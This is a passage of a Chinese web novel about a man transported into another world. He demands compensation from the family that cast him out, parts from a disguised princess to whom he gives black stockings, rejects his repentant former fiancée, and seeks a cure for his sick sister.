只能说可惜,复刻一遍肯定是不行了,而且今日过后,估计就得同他的大奶牛分道扬镳。
“呼……”
就在这时,一阵冗长的叹息传来。
正站在堂屋深处的江崇业,强撑着站立了一会之后,又长舒了一口气后,缓缓坐回椅子上。
再看江云帆,眼中全是沧桑和疑惑:“你……你真的是江云帆吗?”
虽说这十几年来,他对江云帆的关注和关心并不多,但对自己这个不成器的孙子还是非常了解的。
江崇业甚至曾经想过,他不求江云帆像同族其他兄弟一样出类拔萃,只希望能像个正常人一样,平庸一点无所谓,最起码不要给家族丢脸。
但很可惜,江家就好像世代的辉煌迎来了落寞,江云帆这小子,连像一个普通人的要求都达不到。
莫说题诗赋词,哪怕让他念诗,都是在强人所难。
但今日不一样了……
江崇业无论如何也想不到,一向懦弱无能的江云帆,竟敢当众怒斥自己的三叔,且口中所述条理分明,甚至每一个字都直中要害。
更关键的是,当他说出这一番慷慨激昂的话,引出那一句堪称绝妙的诗句时。
江崇业唯有一种感觉,那便是此刻的江云帆,已然彻底变了一个人!
江云帆微微抬眼,与他四目相对:“当然——不全是!”
“不全是?”
什么叫不全是?难不成还能留着身体,只换了个脑子?
江崇业显然没听过这样的说法,不过江云帆那似笑非笑,又带着冷漠的表情,总让他有种心慌的感觉。
他顿了顿,沉下声道:“云帆呐……你也不要怪阿公,当初让你离开江家,实属无奈之举,毕竟不给许家一个交代,我们又如何能继续在江城立足?”
“而且阿公不是也说了吗,只要你多多努力,取得一定的成就,随时都可以重回江家。”
“就好比如今,阿公觉得你足够努力了,同以前也是天差地别,所以我是同意你回来的啊!”
“噗……”
江云帆一个没绷住,笑了。
那笑声又冷又轻蔑:“老东西,我刚才说的话你好像没听明白?那我就再说一次,记住,你眼里的江云帆,早在三个月以前,就已经被你乱棍打死在那个深夜里了!”
江崇业神色一怔,表情有些恍然。
“如今的我,与你江家没有半点干系,也不稀罕进这臭窝,今天之所以来,除了探望祖母还有一事,那就是找你江老头索要赔偿!”
江云帆并不害怕讲出真相,就算告诉别人以前的自己已经**,也不会有人猜测他是穿越而来。
毕竟穿越这种概念,对于大乾这种文明程度的人来说,还是太超前了。
江崇业确实万万没想到,江云帆居然会拒绝自己的邀请,选择不回江家。
只是他也好奇:“什么赔偿?”
“八十个板子,造成的伤残补偿费,医疗费,药物费,营养费,以及精神损失费和名誉损失费,一样不能少!”
反正也跟江家人摊牌了,那么该要的补偿,全都得要。
倒不是江云帆贪财,只是若能从江家身上啃下一口,能让对方肉疼的同时,也宣誓着对抗的胜利。
江崇业怎么也想不到,自己有一天居然能**云帆给威胁到!
没办法,当着这么多人的面,只得咽下一口
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气:“好,那你说说,这些所谓什么什么奇怪的费,需要多少银两!”
“我说了不算,不如让在场资历最深、名望最大的人出面做个评断。”
“资历最深,名望最大的人?”
众人不约而同将视线移到沈远修脸上。
毫无疑问,作为“江南双杰”之一,天下学子心中的文学泰斗,南毅王府的幕僚之首,沈老大儒便是在场最具资历名望之人。
然而此刻归雁先生仍在回味刚才那首诗。
眉头轻颤,满脸陶醉,似乎是整个人都沉浸在了那样的美妙里。
时而又睁开眼,看向江云帆,目光里的喜爱和欣赏几乎都快要满溢出来。
“沈先生……”
江崇业的一声呼唤响起,沈远修方才回过神来。
“老家主何事?”
江崇业又把刚才的事情叙述了一遍,并邀请沈远修评估赔偿金额。
沈远修转过头,恰好对上江云帆的双眼。
老大儒一时有些惊慌,生怕自己说得不好,会惹得江公子不悦。一番纠结下,默默开口道了一句:“那不如……八百两白银,如何?”
“八百!”
江崇业整个人都懵了。
治什么伤,需要用到八百两白银?
“江家主你得知道,不同的人受伤,衡量损失的度不同。”
沈远修解释道,“江公子可不是一般人,近日我与他交流甚繁,很多时候谈论起诗词歌赋,老朽我都自愧不如!你江家出了个奇才,他受伤,那可是整个大乾文坛的巨大损失,八百两真的多吗?”
“这……先生您的意思,云帆真有大才?”
“我沈远修可从不胡言,就你刚才听到的那句诗,堪称人间妙作!可对于江公子全数的作品而言,不过是**大海之上,一缕随意泛起的浪花。”
这……何等骇人听闻?
江崇业原本还在猜测,江云帆刚才那番话是冥思苦想了数月才编出来的,而那句诗,也是从别处摘抄而来。
却没想到沈远修竟为其正名,那是他自己所创?
难不成,这么多年的废物,都是江云帆装的!
第174章 咱们把日子过好,比什么都强
红日当空,时近正午。
阳光照耀而下,经由江府门外的白石地面反射,显得格外刺目。
在爬完泥坑后,江宏独自寻了一处水潭,把身上的泥污洗了个三五遍。随后顶着一头还在淌水的头发,怒气冲冲地赶回府上。
他本打算找个人少的机会,偷偷溜进大门,待更衣整理一番,再去找江云帆算账。
却不曾想,还未走到门口,便看见密密麻麻的玄甲铁骑,一排排阵列森严,把江府给围了个水泄不通。
江宏一时有些惊慌,生怕是有麻烦找上门了。
但就在这时,一直守在场内的江元勤,也注意到他的到来。
“父亲!”
江元勤一阵脚步匆忙跑过去,见到江宏的样子后愤慨不已,“江云帆居然是让您跳的水潭?”
“啊?无妨无妨。”
江宏强撑着一笑,“勤儿不必自责,这也算是为数不多为父能为你做的事了,而且那水潭也是我主动要求跳的,正好天热了,寻些清凉,哈哈。”
“哈……哈哈。”
江元勤也以笑脸附和,然而内心却骂得飞起。
请问我是在自责吗?
我那是恨啊!
早知道跳个水坑就完事了,还不如我自己去,那样也不必面对这么大一群凶神恶煞的铁骑,更不用看江云帆那一脸嚣张得意的表情!又一次**云帆狠压一头,谁知道这对我来说是种多么残酷的煎熬?
“话说勤儿啊,这些人是……”
江宏这时也把话题引到了在场那众多的铁甲骑兵身上,他用手偷偷指了一圈,越看越觉得心慌。
“我也不知他们来头。”江元勤道,“不过看这规模和架势,显然不是什么豪门贵族的私军,多半应有编制。”
江宏神色一怔。
有编制,那便起码是州郡军团的部队,能够将其调动前来江家,其背后的主人必当是权势滔天的存在。
“那他们为何而来,莫非是家中有人犯了什么事?”
“并不是,他们为护送一女子而来。”
“护送一女子?”
江宏不得不严肃起来了,出行能有这般排场的女子,其身份怕是尊贵得吓人。
江元勤脸色也很难看:“我现在担心的,是那女子明显与江云帆相识,而且两人看起来关系匪浅,万一对我们不利……”
“你是说,江云帆又傍上了显赫世家?……可恶啊,这小子怎就如此好运!”
江宏气得眼睛泛白。
在从泥坑回来之前他想好了无数种计划,要把这一身耻辱加倍奉还给江云帆,总之今日不可能让他走出凌州城。
可如今对方有人撑腰,拿着一切想法都将成为空谈。
“对了!”
江宏忽然心生一计,“那女子若是得知,这江云帆其实是被尚书许家一脚踹在路边的野狗,勤儿你说,她还会接受这小子吗?”
“父亲好计啊!”
江元勤当即眼前一亮。
要知道,大乾的顶级贵族可并不多,彼此之间也自成圈子,算是相互熟知。
如果知道自己的身边人,只是一个被圈子里其他人所抛弃的废物,那么为了家族颜面,只会赶紧与其撇清关系,甚至像丢臭虫一样丢开。
“幸好,这事为父我早有绸缪。当初江云帆这废物大字不识几个,倒是没少给许家小姐写信,最后都被我拦了下来,我现在就去取那些证据!”
“哼,好啊……”
江元勤咧嘴笑了,眼神变得越发狠辣,“江云帆啊江云帆,你害我失去那么多,今日我也让你尝尝这番滋味,你我礼尚往来!”
……
此时此刻,江家大院的环廊小路上,一行人正前前后后往外走。
似乎所有人都很识趣,特意放慢脚步,让江云帆和秦七汐被迫走在了最前端。
“这棒棒糖……也是糖?”
一颗长得像棒子的糖,确实可以被称作棒棒糖。只是秦七汐不太明白,她尝试着咬了那“棒棒”一口,比较硬,而且没有任何味道。
这给江少爷看无语了,这人怎么憨憨的?
“大小姐,棒棒是棒棒,糖是糖,只有上面那个小圆球才是能吃的!”
“哦。”
秦七汐目
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光凝重,盯着那糖许久,还是不知要如何下口。
“算了,还是我来吧。”
江云帆一把将棒棒糖夺回,手指触碰时,发现那塑料小棒棒被咬得都扁平了。
这家伙,让人好害怕……
他压下心中忧虑,又抹了抹沾染在上面的一丝湿润,然后伸手撕掉包装纸,再递回去。
秦七汐美目一睁,那眸子里明显在闪小星星。
她一把接过,顺势塞进嘴里……
“唔~!”
那小星星明显变多了,“好之!”
“行了,好之你就多之点,你高兴我也高兴!”
“……”
听到这的小郡主愣了愣,绝美的脸颊顿时添上一抹红晕,连忙把头转到一旁。
其实江云帆确实挺高兴的。
只听那“叮”的一声,来自秦七汐的情绪值+675点!
再额外提升50%,四舍五入便是1013点!
要知道,这小小一根棒棒糖,乃是他在穿越前期花费12点情绪值买下的。江云帆本身不爱吃糖,但奈何当时的【折一折】恰好随机到这棒棒糖上,售价40情绪值三折直接变12点,顺手就买了。
谁又能想到,直接换来了大几十倍的利润?
想到这,江云帆不禁感慨:“要不秦小姐别走了,就留在这镜湖边,山好水好,咱们再把日子过好,比什么都强!”
“?!”
秦七汐猛地顿在原地。
原本就有些嫣红的脸,刹那间变成了彻红。
她把脑子里所有的杂念全部清理了一遍,再仔细回想江云帆刚才说的话,确信自己没有听错。
但……
小郡主一时有些慌乱,内心的复杂,让她第一次感受到不知所措的滋味。
她不知该怎么办,甚至说不出心情是惊讶还是激动。
走在后方不远处的青璇立马注意到异样。
“遭。”
她一脸恍然,转头看向旁边的墨羽,“郡主好像心乱了!”
却不知,墨羽像是开了窍,一脸平静:
“实际上,早就已经乱了。”
……
第175章 我们还能做朋友吗
许灵嫣也来了!
江元勤属实没想到,自己的运气会如此之顺。
昨日在秋思客栈,他受尽江云帆这厮侮辱,本打算处理完归雁先生讲学一事,便找个机会再去镜源,让对方加倍奉还。
结果今日,这小子竟主动送上门来。
不仅如此,昨日见到的许小姐,居然也来了凌州城。
江元勤只觉得老天爷的安排实在巧合,显得自己有点像天选之子。以至于他身在何处,何处就会成为最核心的所在,各方人物都会追寻他的脚步,汇聚而来。
归雁先生、尚书独女,谁不是身份极其尊贵的存在?
如今皆是因他而来!
“许小姐,你来得正好!”
江元勤满带笑意地朝许灵嫣作了个揖。
心中也是越发兴奋,自己与父亲设计对付江云帆,本以为会有些困难。但此时许灵嫣的出现,毫无疑问是一大助力。
毕竟,在许灵嫣当着面羞辱江云帆的时候,那白裙女子总该意识到,自己身边站着的是个没人要的废物了吧?
“江某见过许小姐!”
在许灵嫣登上门外台阶时,江宏连忙迎了上去。
他自然也认识许灵嫣,三个月前登门那一次,可是实实在在见识到了这位千金大小姐的威风,哪里敢怠慢?
不过好在,许小姐知书达理,面对长辈那是礼貌有加。
况且之前退婚时,自己把江云帆的种种恶行全数托出,也算是帮了大忙,许小姐怎么说也得给自己几分面子……
“滚开!”
“?”
看许灵嫣那冷冽甚至带着几分憎恨的目光,江宏完全懵了。
这剧情怎么和自己料想的不一样?
且不说礼貌有加,这是直接让他滚啊!
但当初明明是他帮了天大的忙,才让许小姐成功摆脱了江云帆这个废物,难道就没有一点感恩之心吗?
“我让你滚开,听不懂吗?”
“听……听得懂,听得懂。”
江宏就算再不服,也不敢得罪户部尚书府的大小姐,连忙往旁边避让。
紧接着,许灵嫣又与江元勤擦肩而过,连看都没看他一眼。
直到来到江云帆面前,方才停下脚步。
这一刻,两人四目相对,天地间的空气,似乎随着微风转凉了几分。
江元勤在一旁看着,心里已经开始乐了起来。
许小姐今日明显火气很大,从那一句“滚开”就能看出来,显然是江云帆招惹了她。
很好,这小子又要遭殃了!
“江云帆……”
看着眼前这个男人,棱角分明的脸,散漫却又深邃的眼眸,那丝淡漠一切潇洒自然的情绪。许灵嫣忽然觉得,江云帆变了,和以前完全不一样了。
她甚至想要强迫自己的内心生出一丝厌恶,却怎么都厌恶不起来。
只能就这样凝视着他,挂着晶莹的睫毛微微颤抖,嘴角却泛起一抹惨淡的微笑:“江云帆,好久不见啊。”
“什么鬼?”
江少爷连忙把上身往后一缩,眉头深深一皱,“干啥,你有病?我这有药你买吗?”
他试探性地把衣兜里的布洛芬往外掏了掏。
“我没病,我很清醒!”
“清醒?我看你是在梦游,昨天还在秋思客栈想方设法难为我,今天就好久不见了?”
“对不起……”
许灵嫣声音忽然一婉,牙齿用力咬住下嘴唇,眼泪也委屈地在眶中盘旋。
她知道,自己曾经的所做所为,一定对江云帆造成了不小的伤害,而如今竟找不到任何话语去为自己解释,只能凝结为一句“对不起”。
然而就这一句,却把在场所有人都整懵了。
首先就是江元勤和江宏父子。
两人一脸茫然,把眉毛和胡子都拧到了一起,嘴也微微张开。
难道是自己听错了吗?
许小姐居然向江云帆道歉!而且声音还那么温柔?
这还是当初那个一口一个废物的许灵嫣吗?
两人完全不解,而站在江云帆身侧的秦七汐,则在眼眸之中闪过一丝凝重。
她看了看许灵嫣,又看了看江云帆手里的信……心里有种不太舒服的感觉。
“许灵嫣,你什么意思?”江云帆严肃了脸色。
许灵嫣声音柔弱:“没有什么意思,我只是……想为以前做过的所有事,向你道歉。”
“我哥不需要你的道歉!”
就在这时,一直站在后方的江滢突然走上前来,一脚停在
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两人中间。
似乎是近日跟江云帆在一起,让小姑娘练出了不少勇气,以至于此刻敢横眉冷对高高在上的尚书千金:“许小姐,我哥现在过得很好,你不来打扰他,不来伤害他,就是对他最大的帮助,明白吗?”
江滢永远也忘不了那个雷雨交加的夜晚。
就在脚下这块空地上,哥哥的血和雨水混在一起,顺着台阶淌向远处的大路。她在雨中嘶声哭嚎了千万次,全身上下每一处都已麻木,这才将哥哥背到了医馆。
而这一切,都是拜眼前这个女人所赐,她怎能不恨?
“对不起,对不起……”
许灵嫣浑身都在颤抖,嘴里来回重复着三个字,眼眶里的泪水,已然临近溃堤。
她觉得自己的心好痛啊……
在秦七汐走后,她独自一人在茶楼想了很久,想到近乎崩溃。
原来,自己一开始就错了啊。
“一道残阳铺水中,半江瑟瑟半江红。”
“众里寻她千百度。蓦然回首,那人却在灯火阑珊处。”
“接天莲叶无穷碧,映日荷花别样红。”
“但愿人长久,千里共婵娟。”
当那一首首惊世绝俗的妙句在脑海中不断闪现,许灵嫣终于明白了。
原来,她一直在找的彦公子,她穷极一生想要追寻的人,她做梦都渴望得到的完美人生,其实从始至终都在自己眼前,近在咫尺,触手可得!
可她却偏偏怎么也看不见……
她但凡肯质疑一次呢?
质疑一次传到京城的风言风语,质疑一次自己对江云帆的固有认知,质疑一次悔婚退约,到底应不应该?
哪怕只有那么一次,就一次……或许结果就完全不一样了。
秦七汐说得没错,是她自己,一手把自己一生所追寻的生活,推向了遥不可及的远方。
好痛啊!
此时此刻,许灵嫣的眼泪,终于如滔滔江水,彻底决堤。
她有多久没哭过了?
许灵嫣不知道。
她只是看着眼前的男子,连呼吸都好困难,连声音都带着剧烈的绞痛。
她说:“江云帆,以前是我不好,现在我们……还能做朋友吗?哪怕只是普通朋友……”
……
第176章 下次穿黑丝见你
相比镜源县,凌州的码头更宽更大,往来的船只也更为密集。
为避免造成拥堵,那艘巨大的王府楼舫悬停在了离岸一里之外,远远看去,依旧如同一座小山般横亘湖中。
临近湖畔的船只,其中多为商船,运载着大大小小的各类货物,一帮穿着灰布衣衫的劳工正守在口岸处上下装卸。
人多了,码头成热闹之地。
而热闹多了,风景便也少了应有的秀丽。
江云帆亲自护送秦七汐到此,两人顺着湖岸的杨柳堤漫步前行,青璇墨羽远远跟在身后,而那一丛丛的黑甲骑兵,此刻也不见了踪影。
方才秦七汐已经收到消息,王府要求大船立刻返航。
所以此时,她刻意让自己的脚步放缓,以求能在这短短的堤坝上,多停留一些时间。
“真的没有棒棒糖了吗?”
“还有个头啊。”江云帆摊开双手,掌心比脸都白。
可谁知秦七汐傻了吧唧的一脸希冀:“有头也可以的。”
“……”
江少爷算是看明白了,这财神妹子就是个纯纯的吃货,尤其在面对从没尝过的零食糖果时,智商直接降低为零。
“下次吧,下次见面,我尽量凑够五个给你。”
系统商场里刷新的商品本就随机,出现棒棒糖的概率不大,想要凑到五颗,还真需要些狗运。
“嗯……”
秦七汐点了点头,神色却忽然有些黯淡。
下次见面,会是何时?
她想不明白,甚至都不知道还有没有再见面的机会。
老师寄书请求父王以给予念荷亭题诗奖赏为由,召令江公子至南毅王府,但父王始终没有答复。
可今日自己推延返程时间,催促马上就到。
这是不是说明,父王并没有接受江公子的才华,或是有其他缘由,不愿召其入府?
无论是什么原因,秦七汐都有种不太妙的预感,她生怕自己此番回去,便再难离开王府。而自己送出去的王府大宴邀请函,看江公子的样子,似乎也并无兴趣。
难道今日一别,当真就再见之日?
一想到这,秦七汐的心里就烦闷不已。
好在江云帆及时转移了话题:“有个事,我想偷偷知会一下秦小姐。”
“江公子请讲。”
“你可知道自己的贴身护卫,身份不一般!”
秦七汐一脸茫然:“墨羽?”
“没错。”江云帆点头道,“今日在江府门前,府上的护院头子王友元与墨羽交手,恰好识得她手中所持长剑名为‘龙念’,并当场跪地大喊:参见郡主!”
听到这话,秦七汐神色一怔。
江云帆则压低声音,继续说:“墨羽是郡主这事,你知道吗?”
“江公子误会了,那把剑是我交给墨羽的。”
“你是郡主?”
“不,我不是!”
秦七汐像只受惊的小鹿一般用力摇头,“江公子你知道的,我与临汐郡主交情甚好,那剑是她借给我防身所用,我让贴身护卫携带,应该没有问题吧?”
“没问题,当然没问题。”
这解释确实说得通,而且江云帆也不至于揪着一件事追问个不停。
秦七汐自然不愿在这个话题上多聊,于是又连忙扯了回去:“对了……今日一别不知何时重逢,不如江公子与我做个约定,待你凑够这五个棒棒糖,就来怀南城寻我?”
“你这小嘴儿也太馋了吧。”
刚凑够就想吃,一刻也不愿多等,这是有多大瘾?
“可以吗?”秦七汐并未反驳,那双明眸波光流转,就这么直勾勾地盯着江云帆。
把渴望都写脸上了。
江少爷默默思索了良久。
其实按照他的生存原则,本不该与秦七汐这种上层人有太多的牵扯,今日别后相忘于江湖,才应该是最好的归宿。
但是,他又心有不甘。
总觉得以后要是再也见不到这大奶牛了,心里就堵得慌,好似连生活的滋味都少了大半。
至于原因……应该是舍不得那么多的情绪值吧。
“好,那就一言为定!”
江云帆拉起秦七汐的右手,与自己的右手来了次击掌为誓,惹得郡主殿下俏脸嫣红。
其实他之所以会答应,与给季云苍的承诺也有关系。
三个月后那老家伙若是没有回来,他就要前往南毅王府,把他留下的东西交给临汐郡主。届时再顺便见见秦七汐,也算是一举两得了。
时间悄然而逝,转眼便至码头。
王府的快船正停靠在水边,周围有兵士把守,只等秦七汐上船之后,返回远处的楼舫。
这时小郡主忽然停下脚步,缓缓拿出一只白底金丝锦绣的香囊,递到江云帆面前:“这是我亲手缝制的香囊,里面装有东海的青檀花叶,奇香无比。戴在身上既可以祛寒除湿,也可驱赶镜湖岸边横行的蚊虫,还请江公子收下。”
江云帆伸手接过,放在鼻尖轻轻一闻。
果然,一股自然的花叶香味,顷刻扑入鼻间……
除此之外,似乎还有另一种十分熟悉的香味,与秦七汐身上独有的气息一般无二,越是靠近她的肌肤,越是能清楚闻到。
江云帆不禁纳闷:“这你从哪拿出来的
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?”
是啊,看秦七汐这一身裙装,既无衣兜,袖口也无法藏物,那么这香囊原本是放在哪里的?
难不成,是贴身?!
果不其然,这姑娘小脸又红了好几分,连带着耳朵都能感受到滚烫。
“咳咳。”
江少爷是正人君子,立马强作严肃,“多谢秦小姐,我一定会随身携带!既然小姐赠我临别礼物,那我也自当回礼,你稍等哈……”
“好!”
尽管害羞,但秦七汐眼中还是忍不住闪过欣喜。
她自然什么也不缺。
但就是想留一件江云帆送的东西在身边,哪怕只当是个纪念。
而江云帆这会已经打开了系统仓库。
在里面好一番寻觅,却怎么也找不到适合当礼物的东西。不是用不上,就是块头太大,而秦七汐本该喜欢的MP3,又被他忘在了家里。
思来想去,他最终锁定了今日新兑的那件……
没办法了,就这个吧。
假装伸手在衣襟里一掏,顺势从仓库中取出那条带有塑料纸包装的黑色丝袜。
“刷!”
大手一张,直接摆在秦七汐面前。
“这是?”
“这个啊,名为‘黑丝’,你可以理解为……一种从未见过的衣物,穿在身上既美观,又有气质,能让你整个人的外形,发生前所未有的变化!”
“这么神奇?”
秦七汐小心翼翼将那塑料纸袋收回,低头一看,像是纱质的衣物,黑色,看不出具体形状。
但江云帆的话,她信。
心里甚至隐隐有些期待,想知道一向异于常人的江公子,这次又会给她什么样的惊喜。
想到这,秦七汐满怀憧憬一笑:“不如这样,待江公子来怀南城寻我,我就穿这黑丝见公子,如何?”
江云帆淡然一笑,然后表情猛然严肃。
“此话当真?”
秦七汐点点头。
江少爷眼看就要绷不住了:“这可是你说的啊,无论如何不准反悔!”
秦七汐拉长声音:“好——”
好,好啊!
尽管脸上强行憋住,但江云帆心里的笑声已经直冲九霄了。
这能不爽吗?
要知道,秦七汐除了长着一张倾城绝世的脸之外,身材那也是无可挑剔,仅仅通过目测,便能知晓藏在裙子里的那双腿无比修长。
再配上一双黑丝……
江云帆承认,他自认为重活一世,早已看透人间俗事,定不会为美色乱了方寸。
但若是秦七汐穿黑丝……
光是想想画面,就足够全身充血了!
……
第177章 有多喜欢你
【叮,震惊达成,来自沈远修的情绪值:+364!】
……
透过系统视窗,江云帆默默注视着自己眼下的情绪值余额:13045!
前所未有的高度,但此时他只觉得不够,远远不够。
尽管有【下次一定】的降价,想要兑换商城里的那把**,依旧需要39000点,何其庞大的数字?
江云帆原本打算顺其自然,想着把日子混好,总能混到买得起的那一天。
但经过这段时间的经历,他也明白了。
人想要隐姓埋名并不容易,总会有不得不做的事推着你去抛头露面。
而一旦名声传出去,往后的日子再想安平,恐怕是不行了。尤其在身边还有江滢和瑶姐的情况下,必须得准备一些自保的手段。
循着记忆里的凌州城街道,江云帆来到了位于南城的千秋医馆。
刚一走进大门,便被梁千秋拉到了位于药房后方的诊室之内,此时江滢和韦方也都在场。
“哥,你回来了!”
江云帆点点头,与梁千秋就着桌案两侧坐下。
见对方一脸严肃,便开口问道:“梁大师,我妹妹的情况……”
“江公子,方才我与韦大夫,已经合力为小姐诊查过了。”
两名老医者相视一眼,随即梁千秋无奈叹息一声,“不瞒公子,江小姐的身体亏虚衰弱,已有多年积淀。以我二人的医术,以及这凌州城内的药材,恐怕只能稍作调理,以延缓病症恶化,但终归是治标不治本。”
江云帆面色也沉了下来。
他心里清楚,其实江滢这种情况,要放在前世的二十一世纪,并不算什么大问题。
但以大乾的诊查手段,医疗技术,以及落后千年的药物补品,或许就是一大无法攻克的难题,梁千秋和韦方束手无策,倒也很正常。
只是江云帆又有担心的点:“此病若是拖延太久,会发生什么情况?”
梁千秋迟疑了片刻,还是摇头说道:“身体一再衰弱,久而久之,恐怕会有各类病痛缠身,严重的话,甚至会危及性命。”
江滢双眼微微一瞪,眸子里闪过一丝茫然。
而江云帆则兀自陷入了沉思。
当真是麻绳专挑细处断,厄难只找苦命人。江滢身世凄惨,又从小受尽折辱,如今跟着他眼看就要过上好日子,却又遭此灾祸。
不行,既然他来了,那就不能眼睁睁看着这丫头**!
江云帆再次抬头,目光坚定地看向梁千秋和韦方:“不知二位,还有没有其他破解之法,恳请为晚辈指条明路。”
“有……倒是有。”
梁千秋缓缓点了下头,皱着眉头道,“就是想要办到,恐怕难如登天。”
“请梁大师明示。”
有希望就是好事,就算再难,江云帆都决心要做到。
“江公子可知,那位号称‘江南第一神医’的韩先生?”
“韩锦山?”
“正是韩锦山!”
江云帆点点头,他确实听说过这个名字,而且恰好是从秦七汐口中。
之前在桃源居,秦七汐邀请他去参加王府即将举办的大宴,期间提及为江滢治病一事,表示与韩锦山相识,可为他引见。
“此人可称医圣,凡有记载之病症,无论是何种顽疾,经他出手,皆是药到病除!只是……”
梁千秋一脸无奈,“只是此人性格孤僻,平日隐居山林,很少现身俗世,更无人知晓其居处,想要寻觅本是难事。再加之他治病有原则,称救人性命,乃是有违天道规律,故而想要让他出手,更是难上加难!”
“多谢梁大师指点,无论此事如何困难,我都要试上一试!”
江云帆心里很清楚,三个月前的雨夜,江滢背着他满城寻找大夫时,身体比现在更加孱弱。
支撑她冒雨蹒跚的力量,如今便是自己要救她的动力!
“三少爷。”
这时,坐在一旁的韦方也正色道,“既然您意已决,那我便再提醒一句,想要治小姐的病,除了请韩神医出手之外,还有一大难点,便是寻到几味极其珍稀的补药。”
他提起桌上毛笔,在纸上写下几种药材的名称,递给江云帆。
“这些补药,要到何处去寻?”江云帆快速扫视了一眼。
“这天下恐怕只有两个地方能找齐,一是大乾皇宫,二便是南毅王府。”
“我知道了。”
南毅王府……
看来几天之后的这场大宴,是不得不去了!
江云帆起身收好纸条,并拉起旁边的江滢,与梁千秋和韦方抱拳告别:“多谢二位,待我为小妹治好顽疾,定再登门拜谢!”
两人也连忙起身:
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“希望江公子,一切顺利!”
……
江云帆领着江滢出了千秋医馆,跨上小电驴出城,直奔镜源县。
坐在车后座,一直沉默了半晌的江滢,终于忍不住开口:“哥,我的身体没问题的,咱们不去怀南城,好不好?”
“得去。”
“哥……”江滢急得都快哭了,“梁大师说得没错,要请动韩神医就已经难如登天了,还有那南毅王府,就连阿公都没有资格登门,哪里是我们这种普通人能去的地方?更何况,还要向他们求药!”
“不用劝了,劝也没用。”
“唉。”
江滢一脸苦闷,她又何尝不知,哥哥早就不是以前那个懦弱的江家三少爷了,决定了的事,一定会做。
“那你要怎么和**姐说?”
“实话实说呗,治好病就回来,瑶姐会同意的。”
“可是**姐她……已经知道你和秦姐姐之间的事情了,如果去怀南城,她会怀疑。”
“不是?”
小电驴一抖,江云帆人都懵了,“我跟她有什么事?而且她俩啥时候见的面?”
也不知为何,明明自己清白一身,跟谁都是正当的朋友关系,咋听江滢这样一说,搞得跟修罗场一样。
“就在昨天,客栈二楼。”
江滢眨了眨眼道,“秦姐姐弹奏完你的那首曲子后,**姐在楼道口等到了她,两个人交谈了几句,事后**姐还哭了。”
“我擦,你怎么不早说?”
“我……”
江滢默默低下头,咬住嘴唇,没有回答。
“算了,这不重要。”江云帆也没多纠结,“那你听到她们聊什么了?”
“**姐说,她知道秦姐姐身份不凡,但是哥哥你要的不是荣华富贵,而是安稳,希望秦姐姐高抬贵手,不要将它破坏掉。”
“知我者,你**也!”江云帆点了个赞。
“但是秦姐姐又说,哥哥是顿美餐,闻着香味的人会垂涎,要想真的安慰,就必须放在别人够不着的地方。”
“是那吃货能说出来的话。”江云帆不得不承认,秦七汐这话虽然粗浅,但确实也有道理。
“**姐还问了一个问题……”
“什么问题?”
“问秦姐姐,她有多喜欢你?”
江云帆:“啥?”
……
第178章 在肚子上放小馒头
镜源县灯会结束以后,短短两天时间,自外地前来观览的游客,便已离开殆尽。
镜湖之上摇摇曳曳的各类船只,如今已然消失大半,整个湖面空旷无垠,悠悠湖水直通远山。
这座位于江南大地西北的小县城,再度回归了往日的冷清和僻静。
秋思客栈亦是如此。
江云帆载着江滢抵达时,正值傍晚,往日这个点的客栈大堂,都是一天中顾客最多,生意最红火的时候。
但今日却只有寥寥几人,占据了三两小桌。
想来,与茅台酿售罄有莫大的关系,许多慕名前来饮酒的人,都在进门之后又折返离开。
除此之外,江元勤昨天的“爆料”也实实在在影响到了客栈的生意。原本还有不少文人墨客,冲着那首《桃花庵歌》前来同勉共赏,奈何江元勤指出那诗乃是从入云居士处剽窃而来,于是江云帆直接受了一波人人唾弃。
也好,那群人抱有目的,来了虽然带动消费,但也难免打扰。
这会白瑶正亲自提着扫帚,把客栈门前的尘土树叶来回打扫个干净。见江云帆和江滢回来,那双有些恍惚的眼睛,立马恢复了原本的神色。
“小帆,滢滢,你们可算回来了,这客栈没你俩,连风都凉骨头。”
漂亮御姐立马放下手头的工具,在围裙上擦了擦手,一脸笑意地迎上前来。
江云帆把凌州带回的一些特产递给江滢,让她送进大堂:“滢滢先进去,负责收下钱,我带瑶姐出去一趟。”
江滢点点头,一句话也没答。
白瑶见此一幕,心头顿时有种不好的预感:“是发生什么事了吗?”
“没什么大事,瑶姐跟我回老宅一趟。”
“好。”
两人迅速离开客栈,跨上江云帆的小电驴,直奔桃花山而去。
这是白瑶第一次坐电动车,整个人都惊喜和意外,与之前的江滢和秦七汐一般无二,都是因为激动而瞪大眼睛,又因为担心而紧绷身体。
“瑶姐是不是该减肥了?”
“……”
白瑶一脸尴尬,“怎么我很胖吗?”
“目测胖倒不见得胖,可为啥我总感觉很重呢?”
江云帆也挺无语的,驮白瑶的感觉,和驮江滢或者秦七汐的感觉是完全不同的,身下的小电驴明显吃力不少,而车上的空间也显得十分拥挤。
“那应该就是胖了,我往后得节食!”
“我想……大可不必,你现在的身材,就是最完美的!”
借着转弯的空档,江云帆稍稍回头看了一眼,目光从白瑶娇柔的身躯上迅速移过,在接触到胸口的瞬间,瞳孔猛地一收。
我去,细枝结硕果啊!
瑶姐就是瑶姐,当真是天赋异禀了。
“都依你。”
白瑶拿他没办法,莞尔一笑,“你说怎样我就怎样,不过这会儿带我出来,是有什么事?”
好吧,得说正事了。
江云帆沉声道:“我和江滢,恐怕得离开一段时间。”
此话一出,白瑶当即沉默了。
好在江云帆立马将事情的来龙去脉叙述了一遍,白瑶也是通情达理的人,在知晓江滢身体的状况糟糕后,心里的关切立马胜过了委屈。
“你做得对,滢滢是个可怜孩子,一定不能让她有事!”
白瑶紧紧咬着嘴唇,眼眸来回转了两圈,又连忙开口说道:“待会我去把客栈银两整理一下,你都带上,一定能用得着!”
“不用。”
江云帆既无奈又欣慰,他将电驴儿在桃源居门前稳稳停下,并伸手牵着白瑶下车。
随后,从怀里掏出七张面值一百两的银票,递到白瑶面前。
这些钱,是他今日在凌州城的一所珍宝行中,用程修齐输给他的玉佩兑换而来。当初程家大少爷声称这玉佩价值八百两,按理说也没有骗人,只不过那珍宝行财力有限,最多就只能出到七百两。
但即便如此,对于白瑶来说,也是个天大的数字了。
“怎么会有这么多钱?”
熟媚御姐不敢接,只把那秀丽的眉毛一挑,又满脸紧张地看着江云帆,“小帆,你不会是去干坏事了吧?咱
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们安安稳稳就好,可千万不能胡来!”
“什么叫干坏事,我拿这钱可是大善之举!”
当然是大善之举。
劫富济贫,助力资源分配,等同于替天行道!
他现在身上的财富,共计两千七百两银子,哪一分不是来自富得流油的大家族?
